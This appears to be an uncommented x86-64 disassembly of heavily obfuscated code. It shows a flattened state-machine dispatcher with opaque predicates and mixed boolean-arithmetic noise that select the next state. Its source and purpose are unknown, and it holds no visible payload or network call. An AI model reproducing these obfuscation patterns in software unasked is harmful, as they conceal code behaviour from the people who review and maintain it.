mov edx, eax
and dl, bl
and cl, al
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
xor bl, r9b
and bl, r9b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
not al
test al, 1
mov ebx, 0xab58c2d8
mov eax, 0x99ba1186
cmovne ebx, eax
test dl, 1
mov eax, 0xab58c2d8
cmovne eax, ebx
jmp 0x14019719a
cmp eax, 0x6e7a182
jg 0x14017936c
cmp eax, 0x56402df
je 0x14017eaf3
cmp eax, 0x66a6193
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x3ed8db1c
mov edi, ecx
and edi, 0xc12724e2
or edi, ebx
xor edi, 0xc12724e2
and ecx, 1
or ecx, edi
not ecx
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x520fa780
and ecx, 0xadf0587f
or ecx, edx
xor ecx, 0xadf0587f
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r9b
mov ecx, ebx
xor bl, dl
or dl, r9b
or cl, r8b
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
or r9b, r8b
mov eax, r9d
xor al, bl
xor bl, 1
xor al, 1
or bl, r9b
xor bl, 1
or bl, al
xor bl, cl
and cl, bl
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x692ebafa
mov edx, 0x3dd4e11f
cmovne eax, edx
test bl, 1
mov edx, 0x692ebafa
cmovne edx, eax
test cl, cl
jmp 0x1401a0e8b
cmp eax, 0x6a1fb8e8
jg 0x1401794bc
cmp eax, 0x69766969
je 0x14017eb08
cmp eax, 0x69ea7512
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x80c2beb0
and edx, 0x7f3d414f
or edx, ecx
mov ecx, edx
xor ecx, 0x55294045
xor edx, 0x802c20
and edx, 0x2a942d2a
and ecx, 0xd56bd2d5
or ecx, edx
mov edx, ecx
xor edx, 0x2a942d2a
mov eax, ecx
xor eax, 0x2a942d2b
and eax, edx
xor ecx, 0xd56bd2d4
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ebx, eax
not ebx
mov edi, edx
not edi
mov esi, ebx
and esi, 0x94d03add
and eax, 0x6b2fc522
or eax, esi
or ebx, edi
and edi, 0x94d03add
and edx, 0x6b2fc522
or edx, edi
xor edx, eax
not ebx
or ebx, edx
mov edx, ebx
mov ecx, ebx
xor ecx, 0x30553af2
and ecx, ebx
not ebx
and ebx, 0x30500872
and edx, 0x53280
or edx, ebx
xor edx, 0x53280
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xc30b0a90
and ecx, 0x3cf4f56f
or ecx, eax
mov eax, ecx
xor eax, 0x800294
xor ecx, 0x300c0042
and ecx, 0x3c2dcd4b
and eax, 0xc3d232b4
or eax, ecx
mov ecx, eax
xor ecx, 0xc2823034
xor eax, 0x1c044c43
and eax, 0x1d544ec3
and ecx, 0xe2abb13c
or ecx, eax
xor ecx, 0x1d544ec3
cmp ecx, 0xffffffff
sete al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
xor dl, al
mov ebx, ecx
xor bl, al
xor bl, 1
or cl, al
xor cl, 1
xor dl, 1
mov eax, ecx
and al, dl
xor dl, cl
or dl, al
mov ecx, ebx
or cl, dl
xor dl, bl
mov eax, ecx
xor al, dl
test al, 1
mov ebx, 0xdbac7fde
mov eax, 0xa6e154df
cmovne ebx, eax
test dl, dl
mov eax, ebx
mov edx, 0xdbac7fde
jmp 0x1401900fe
cmp eax, 0x2eef7f5d
jg 0x1401794e7
cmp eax, 0x2e647d8d
je 0x14017ec99
cmp eax, 0x2ec72bba
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x401c0830
and ebx, 0x8201a083
or ebx, edx
mov edi, ebx
xor edi, 0x80008080
xor ebx, 0x412a0f34
or ecx, 0xc21da8b3
mov edx, ecx
not edx
and ebx, 0x432b2f37
and edi, 0x80148080
or edi, ebx
and ecx, 0x432b2f37
and edx, 0x3cc05048
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0xaa5ec651
and edx, 0x55a139ae
or edx, ecx
mov ebx, edx
xor ebx, 0x8634111d
xor edx, 0x68436ee2
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0x71c986e2
and ebx, 0x8e36791d
or ebx, edx
mov edx, ebx
xor edx, 0x86020010
xor ebx, 0x71c986e3
mov esi, ecx
and esi, 0x48f4ff6d
and edi, 0xb70b0092
or edi, esi
or ecx, ebx
and ebx, 0x48f4ff6d
and edx, 0xb70b0092
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov ebx, ecx
not ebx
or ecx, 0x32542cd6
mov edi, ecx
not edi
or ebx, 0xcdabd329
mov edx, ebx
not edx
and ecx, 0x7a425fe6
and edi, 0x85a98009
or edi, ecx
and ebx, 0x7a425fe6
and edx, 0x142010
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x32542cd6
and edx, 0xcdabd329
or edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0xad9ec184
and edx, 0x52613e7b
or edx, ebx
xor edx, 0x52613e7b
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov edx, eax
xor dl, r10b
and dl, al
mov ebx, edx
xor bl, 1
or bl, dl
xor bl, 1
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, 1
mov edx, ecx
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
xor dl, r9b
xor dl, 1
and r8b, r10b
or r10b, r9b
xor r10b, 1
and al, r9b
or al, r8b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
xor al, 1
mov ecx, edx
or cl, al
xor al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x69297302
mov ebx, 0xd0d61237
cmovne eax, ebx
test cl, 1
mov ecx, 0x69297302
jmp 0x1401a0085
cmp eax, 0x5a01bb10
jg 0x14017966f
cmp eax, 0x599802a7
je 0x14017ed92
cmp eax, 0x59e31797
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov r9d, ebx
not r9d
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov eax, edx
not eax
mov esi, ecx
and esi, 0x52db32e
and edi, 0xfad24cd0
or edi, esi
or ecx, eax
and eax, 0x52db32e
and edx, 0xfad24cd1
or edx, eax
xor edx, edi
not ecx
or ecx, edx
mov eax, ecx
not eax
and r9d, 0x711d8bfe
and ebx, 0x8ee27401
or ebx, r9d
mov edx, ebx
xor edx, 0x8821000
xor ebx, 0x711d8bfe
mov edi, ecx
and edi, 0x96616f5f
and eax, 0x699e90a0
or eax, edi
or ecx, ebx
and ebx, 0x96616f5f
and edx, 0x699e90a0
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne al
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl dl
xor dl, al
xor dl, 1
or dl, cl
xor al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x1b06d177
mov edx, 0x24cf9a63
jmp 0x14017e811
cmp eax, 0x1cd9aac6
jg 0x14017969e
cmp eax, 0x1c434dc7
je 0x14017ee57
cmp eax, 0x1c7c827e
jne 0x14016c950
mov eax, 0x274ff9af
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x78380114
jg 0x140179779
cmp eax, 0x777fde37
je 0x14017ef89
cmp eax, 0x77b05151
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
mov edi, ebx
or edi, 0xa66ab0b1
mov ecx, edi
not ecx
or edx, 0x18900908
and edx, 0xbaf8a929
and ebx, 0x4021090
or ebx, edx
and edi, 0xbaf8a929
and ecx, 0x41054646
or ecx, edi
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x59954f4e
and ecx, 0xa66ab0b1
or ecx, edx
mov r9d, ecx
not r9d
mov edx, ecx
or edx, 0x450b92e8
mov edi, edx
not edi
mov esi, ecx
xor esi, 0xbaf46d17
and esi, ecx
mov eax, esi
not eax
mov ebx, edx
and ebx, 0x90519b8a
and edi, 0x2aa46415
or edi, ebx
or edx, eax
and eax, 0x90519b8a
and esi, 0x6fae6475
or esi, eax
xor esi, edi
not edx
or edx, esi
mov eax, edx
not eax
and eax, 0x450b92e9
and edx, 0xbaf46d16
or edx, eax
and r9d, 1
xor ecx, 0xfffffffe
or ecx, r9d
mov eax, ecx
not eax
and eax, 0xc7ff31d2
and ecx, 0x3800ce2d
or ecx, eax
xor ecx, 0x3800ce2d
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x986c8f52
and ecx, 0x679370ad
or ecx, edx
mov ebx, ecx
xor ebx, 0x40000008
xor ecx, 0x80600940
or eax, 0xc1f62b4f
mov edx, eax
not edx
or ecx, 0x408d480
and ecx, 0x85fafdc5
and ebx, 0x4004020a
or ebx, ecx
and eax, 0x85fafdc5
and edx, 0x3a010030
or edx, eax
xor edx, ebx
mov eax, edx
not eax
and eax, 0x640c9f6
and edx, 0xf9bf3609
or edx, eax
mov eax, edx
xor eax, 0x400c04
xor edx, 0x85006228
and edx, 0xbd09736a
and eax, 0x42f68c95
or eax, edx
mov ecx, eax
xor ecx, 0x2e40805
xor eax, 0x98095342
and eax, 0xd81bd7d2
and ecx, 0x27e4282d
or ecx, eax
xor ecx, 0xd81bd7d2
cmp ecx, 0xffffffff
setne r9b
sete al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and bl, al
and r9b, dl
or r9b, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
xor dl, 1
mov eax, r9d
and al, dl
xor dl, r9b
or dl, al
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov r8d, r9d
xor r8b, 1
mov ecx, r9d
and cl, r8b
and dl, al
mov ebx, ecx
xor bl, 1
xor cl, r9b
or bl, r8b
xor bl, 1
or bl, cl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, r9d
xor cl, al
or al, r9b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x464cf986
mov ebx, 0x4ebcb2e1
cmovne eax, ebx
test dl, 1
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x464cf986
jmp 0x14019970b
cmp eax, 0x40ff1262
jg 0x1401797a4
cmp eax, 0x409d31e8
je 0x14017f08c
cmp eax, 0x40e8b762
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea r9d, [rcx - 1]
imul r9d, ecx
mov ecx, r9d
not ecx
mov edi, ecx
and edi, 0xe94535f8
mov edx, r9d
and edx, 0x16baca06
or edx, edi
mov edi, edx
xor edi, 0x4100a02
xor edx, 0xe94535f9
mov ebx, r9d
xor ebx, 0xfffffffe
and ebx, r9d
mov eax, ebx
not eax
mov esi, edx
and esi, 0x72afc56c
and edi, 0x8d503a92
or edi, esi
or edx, eax
and eax, 0x72afc56c
and ebx, 0x8d503a93
or ebx, eax
xor ebx, edi
not edx
or edx, ebx
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xee215a8b
and edx, 0x11dea574
or edx, ebx
and r9d, 0xee215a8b
and ecx, 0x11dea574
or ecx, r9d
xor ecx, edx
xor eax, ecx
test eax, ecx
sete al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg bl
mov edx, ebx
xor dl, al
xor bl, dl
and bl, dl
not dl
and dl, al
xor al, cl
and al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, 1
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, bl
or dl, al
mov eax, edx
xor al, cl
test dl, dl
mov edx, 0x93fac297
mov ebx, 0x485e7173
cmovne edx, ebx
test cl, cl
mov ecx, 0x93fac297
cmovne edx, ecx
test al, 1
jmp 0x1401a2243
cmp eax, 0x118b699d
jg 0x14017990c
cmp eax, 0xfca3d2a
je 0x14017f19d
cmp eax, 0x105e0066
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x6e8d8da9
and eax, ecx
not ecx
mov ebx, ecx
and ebx, 0x668c09a8
and edx, 0x8018401
or edx, ebx
xor edx, 0x8018401
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xfd26d626
and eax, 0x2d929d9
or eax, edx
xor eax, 0x93ab5b8e
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x3c227bd0
and eax, 0xc3dd842f
or eax, ecx
xor eax, 0xc3dd842f
setne r8b
sete al
cmp dword [0x1402656c4], 0xa
setl cl
or al, cl
xor al, 1
xor r8b, cl
mov ecx, r8d
xor cl, 1
or al, cl
mov edx, eax
xor dl, 1
mov ebx, edx
and bl, al
and cl, r8b
mov r9d, ebx
and r9b, dl
xor bl, dl
or bl, r9b
xor cl, 1
mov edx, ecx
xor dl, r8b
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ebx
xor dl, 1
and dl, cl
xor cl, 1
and cl, bl
or cl, dl
mov edx, eax
and dl, r8b
xor al, r8b
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0xba80594d
mov ebx, 0x611f3e09
cmovne edx, ebx
test al, al
mov eax, 0xba80594d
jmp 0x1401a2f66
cmp eax, 0x6fd41c57
jg 0x140179a27
cmp eax, 0x6fa02510
je 0x14017f369
cmp eax, 0x6fc73425
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov edi, ecx
or edi, 1
mov ebx, edi
not ebx
or ecx, 0x1c7f2114
and edi, 0x1c7f2114
and ebx, 0xe380deea
or ebx, edi
and ecx, 0x1c7f2115
xor ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xb964fc40
and ecx, 0x469b03bf
or ecx, ebx
xor ecx, 0x469b03bf
mov ebx, ecx
and ebx, edx
xor ecx, edx
or ecx, ebx
cmp ecx, 0xffffffff
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg r8b
mov eax, r8d
xor al, cl
xor r8b, al
and r8b, al
not al
and al, cl
xor cl, dl
and cl, dl
xor al, 1
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ecx, edx
xor dl, 1
and dl, r8b
xor r8b, 1
and cl, r8b
or dl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xbb566c4
mov ebx, 0x9f282cb5
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, 1
mov ecx, 0xbb566c4
jmp 0x1401a14db
cmp eax, 0x36ce0b8c
jg 0x140179a52
cmp eax, 0x363dfa11
je 0x14017f47b
cmp eax, 0x366a28c9
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0xbec3b28a
mov edx, ebx
and edx, 0x413c4d74
or edx, ecx
xor edx, 0x413c4d74
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
mov esi, ecx
and esi, 0xa09bbaf
and edx, 0xf5f64450
or edx, esi
or ecx, ebx
and ebx, 0xa09bbaf
and edi, 0xf5f64450
or edi, ebx
xor edi, edx
not ecx
or ecx, edi
mov edx, ecx
not edx
and edx, 0x9947ad06
and ecx, 0x66b852f9
or ecx, edx
xor ecx, 0x66b852f9
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg dl
mov eax, edx
xor al, r9b
mov r11d, eax
xor r11b, 1
mov esi, r11d
and sil, al
and al, dl
and r10b, r8b
and dl, r9b
or dl, r10b
mov ebx, eax
xor bl, 1
xor al, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov ecx, esi
and cl, r11b
xor sil, r11b
or sil, cl
mov ecx, ebx
xor cl, 1
xor bl, al
or cl, dl
xor cl, 1
or cl, bl
xor cl, sil
mov edx, r11d
xor dl, al
or al, r11b
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x9ffddf5a
mov ebx, 0xd37e7d23
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x9ffddf5a
jmp 0x1401a14db
cmp eax, 0x6243a972
jg 0x140179bce
cmp eax, 0x6137f3c7
je 0x14017f4a3
cmp eax, 0x61e1d0c9
jne 0x14016c950
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebx, edi
and ebx, 0x3c6891d2
mov edx, ecx
and edx, 0xc3976e2d
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0xc3976e2c
and edx, 0x3c6891d3
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x76166890
and edx, 0x89e9976f
or edx, ebx
xor edx, 0x89e9976f
and edi, 0xf2a348e3
and ecx, 0xd5cb71c
or ecx, edi
xor ecx, 0xd5cb71c
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x94557d7f
and ecx, 0x6baa8280
or ecx, edx
xor ecx, 0x6baa8280
sete cl
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg r8b
mov eax, edx
and al, r8b
mov ebx, r9d
and bl, cl
or bl, al
xor bl, 1
or bl, r8b
or dl, r9b
xor dl, 1
xor cl, r9b
and cl, r9b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x3f718534
mov ebx, 0x989faa7c
cmovne eax, ebx
test dl, 1
mov edx, 0x3f718534
jmp 0x14019d83c
cmp eax, 0x25633b0e
jg 0x140179bf9
cmp eax, 0x2553243c
je 0x14017f598
cmp eax, 0x25576e2e
jne 0x14016c950
mov eax, 0x64e8b731
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x7f2e1fab
jg 0x140179d74
cmp eax, 0x7e975c64
je 0x14017f5ad
cmp eax, 0x7ee48ef8
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
mov ebx, edx
xor ebx, 0x52c4466d
and ebx, edx
not edx
and edx, 0xa673550
and ecx, 0xf598caaf
or ecx, edx
mov edx, ecx
xor edx, 0xf598caaf
mov edi, ecx
xor edi, 0x58a3733d
and edi, edx
mov esi, edi
and esi, ebx
xor ebx, edi
or ebx, esi
mov edi, ebx
not edi
and edi, 0xad3bb993
and ebx, 0x52c4466c
or ebx, edi
and edx, 1
xor ecx, 0xf598caae
or ecx, edx
mov edx, ecx
not edx
and edx, 0x6ed08336
and ecx, 0x912f7cc9
or ecx, edx
mov edi, ecx
xor edi, 0x900238c9
xor ecx, 0x6ed08336
mov edx, ebx
not edx
mov esi, edx
and esi, 0x216dc704
and ebx, 0xde9238fb
or ebx, esi
or edx, ecx
and ecx, 0x216dc704
and edi, 0xde9238fb
or edi, ecx
xor edi, ebx
not edx
or edx, edi
mov ebx, edx
not ebx
mov ecx, ebx
and ecx, 0x72c0b695
and edx, 0x8d3f496a
or edx, ecx
mov edi, edx
xor edi, 0x8200848
xor edx, 0x401080
or ebx, 0x8df018d8
mov ecx, ebx
not ecx
or edx, 0x22098404
and edx, 0xa7599484
and edi, 0x8a00858
or edi, edx
and ebx, 0xa7599484
and ecx, 0x50066323
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x720fe727
and ecx, 0x8df018d8
or ecx, edx
setne bl
sete dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and bl, al
or al, dl
xor al, 1
and cl, dl
or cl, bl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
xor al, 1
mov r8d, ecx
xor r8b, 1
mov ebx, ecx
and bl, r8b
mov edx, ebx
xor dl, 1
xor bl, cl
or dl, r8b
xor dl, 1
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x3920cc75
mov ebx, 0xf2e0ee26
cmovne ecx, ebx
test al, 1
mov eax, 0x3920cc75
jmp 0x14019e5fe
cmp eax, 0x485e7172
jg 0x140179da3
cmp eax, 0x47c33fcd
je 0x14017f73c
cmp eax, 0x47d9e3e5
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x3a76b318
and ecx, 0xc5894ce7
or ecx, edx
mov edx, ecx
xor edx, 0x3a76b318
xor ecx, 0x840804a2
mov ebx, edx
and ebx, 0xfffffffe
and ecx, 0xac28b6b2
and edx, 0x53d7494d
or edx, ecx
xor edx, 0x53d7494c
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
sete bl
setne r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r9b
mov eax, ecx
and cl, r8b
and r8b, r9b
and al, bl
or al, r8b
xor al, 1
or al, r9b
mov edx, eax
xor dl, 1
and bl, r9b
or cl, bl
mov r8d, ecx
xor r8b, 1
mov ebx, eax
and bl, dl
xor bl, 1
mov r9d, edx
xor r9b, bl
or bl, dl
xor bl, 1
or bl, r9b
xor bl, r8b
xor r8b, al
or cl, dl
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, bl
test cl, 1
mov ecx, 0x415f0b49
mov edx, 0x7be8c2cd
cmovne ecx, edx
test bl, 1
cmove ecx, edx
test al, 1
mov eax, 0x415f0b49
jmp 0x1401a26bd
cmp eax, 0xfffc3757
je 0x14017f816
cmp eax, 0x662c42
je 0x14017f8f2
cmp eax, 0x7beb45
jne 0x14016c950
mov eax, 0xbcc6c9ca
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x62fbde90
je 0x14017f907
cmp eax, 0x64b2d71e
je 0x14017fa9b
cmp eax, 0x64ca26d7
jne 0x14016c950
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x9eaf917b
and ecx, 0x61506e84
or ecx, eax
mov eax, ecx
not eax
and eax, 0x7f41d8b6
and ecx, 0x80be2749
or ecx, eax
mov edx, ecx
xor edx, 0xe1ee49cd
mov eax, edx
or eax, 1
mov ebx, eax
not ebx
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ecx
not edx
mov edi, eax
and edi, 0x832714be
and ebx, 0x7cd8eb40
or ebx, edi
or eax, edx
and edx, 0x832714be
and ecx, 0x7cd8eb41
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xec38d0dc
and ecx, eax
and eax, 0x13c72f23
or eax, edx
xor eax, 0x13c72f23
mov edx, eax
and edx, ecx
xor eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x9b8bd402
and ecx, 0x64742bfd
or ecx, eax
xor ecx, 0x9b8bd402
cmp ecx, 0xffffffff
setne al
sete cl
cmp dword [0x1402656c4], 9
setg dl
xor cl, dl
xor cl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
xor dl, cl
and cl, dl
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0xd5fc88d2
mov ebx, 0xf11ae917
cmovne edx, ebx
test cl, cl
cmove edx, ebx
test al, 1
mov eax, 0xd5fc88d2
jmp 0x1401a0e8b
cmp eax, 0x2605b332
je 0x14017fbab
cmp eax, 0x2648eb60
je 0x14017fd7c
cmp eax, 0x266af653
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
xor edx, 0x8f43f716
and edx, ebx
not ebx
and ebx, 0x8f43f716
mov ecx, ebx
and ecx, edx
xor edx, ebx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x4338a917
and edx, 0xbcc756e8
or edx, ecx
mov ebx, edx
xor ebx, 0xcc7b5e01
mov ecx, ebx
or ecx, 1
mov edi, ecx
not edi
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
mov ebx, edx
not ebx
mov esi, ecx
and esi, 0x63195d89
and edi, 0x9ce6a276
or edi, esi
or ecx, ebx
and ebx, 0x63195d89
and edx, 0x9ce6a276
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x5fbab4e0
and ebx, 0xa0454b1f
or ebx, esi
or ecx, edi
and edi, 0x5fbab4e0
and edx, 0xa0454b1f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
sete cl
setne r9b
cmp r8d, 9
setg al
cmp r8d, 0xa
setl dl
and dl, r9b
mov r8d, eax
and r8b, cl
or r8b, dl
xor cl, al
and cl, al
xor al, r9b
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, r8d
xor dl, 1
mov ecx, ebx
and cl, al
xor cl, 1
mov r9d, ecx
xor r9b, al
or cl, al
xor cl, 1
or cl, r9b
and dl, cl
xor cl, 1
and cl, r8b
or cl, dl
mov eax, r8d
xor al, bl
or bl, r8b
xor bl, 1
or bl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0x99087811
mov edx, 0xad3c1270
cmovne eax, edx
test bl, 1
mov edx, 0x99087811
jmp 0x14017fe28
cmp eax, 0x52acbd0c
je 0x14017fe32
cmp eax, 0x5309c70c
je 0x14017ff6a
cmp eax, 0x532766ef
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x98f8baff
and ecx, edx
not edx
and edx, 0x98f8baff
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xed63f742
and ecx, 0x129c08bd
or ecx, edx
mov edx, ecx
xor edx, 0x8a64b242
mov ebx, ecx
xor ebx, 0x8a64b243
and ebx, edx
xor ecx, 0x759b4dbc
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x508936f6
and ebx, 0xaf76c909
or ebx, esi
or ecx, edi
and edi, 0x508936f6
and edx, 0xaf76c909
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x90c7e5bb
and ecx, 0x6f381a44
or ecx, edx
mov edx, ecx
xor edx, 0x62000804
xor ecx, 0x90c7e5bb
mov ebx, ecx
and ebx, 0xd795663
and edx, 0xf286a99c
or edx, ebx
xor edx, 0xd795663
xor ecx, edx
test ecx, edx
sete cl
setne dl
cmp eax, 0xa
setl r9b
cmp eax, 9
setg r8b
mov eax, edx
and al, r8b
mov ebx, r9d
and bl, cl
or bl, al
xor bl, 1
or bl, r8b
xor bl, 1
or dl, r9b
xor dl, 1
xor cl, r9b
and cl, r9b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
xor cl, bl
mov edx, ecx
xor dl, 1
and dl, bl
mov eax, edx
xor al, cl
test al, 1
mov ebx, 0x44c9fd8f
mov edi, 0xe1974474
cmovne ebx, edi
test cl, 1
mov eax, ebx
